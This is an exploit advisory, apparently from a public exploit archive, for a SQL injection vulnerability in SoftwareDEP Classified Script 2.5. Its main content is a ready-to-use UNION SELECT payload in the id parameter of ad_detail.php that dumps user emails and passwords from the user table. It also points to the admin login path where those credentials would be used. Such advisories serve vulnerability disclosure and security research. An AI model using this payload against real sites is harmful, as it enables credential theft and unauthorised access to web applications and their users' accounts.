SoftwareDEP Classified Script 2.5 - SQL Injection (2)

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Software DEP Classified Script 2.5 SQL Injection Vulnerability
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Author: h0rd
Contact: h0rd[at]null.net
homepage: http://h0rd.net
download: http://www.softwaredep.com/classified-script.html
Price: $199 

PoC exploit:
http://[host]/ad_detail.php?id=null union select 1,2,3,4,concat(email,0x3a,0x3a,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19 from user--

login page:
http://[host]/[script]/admin/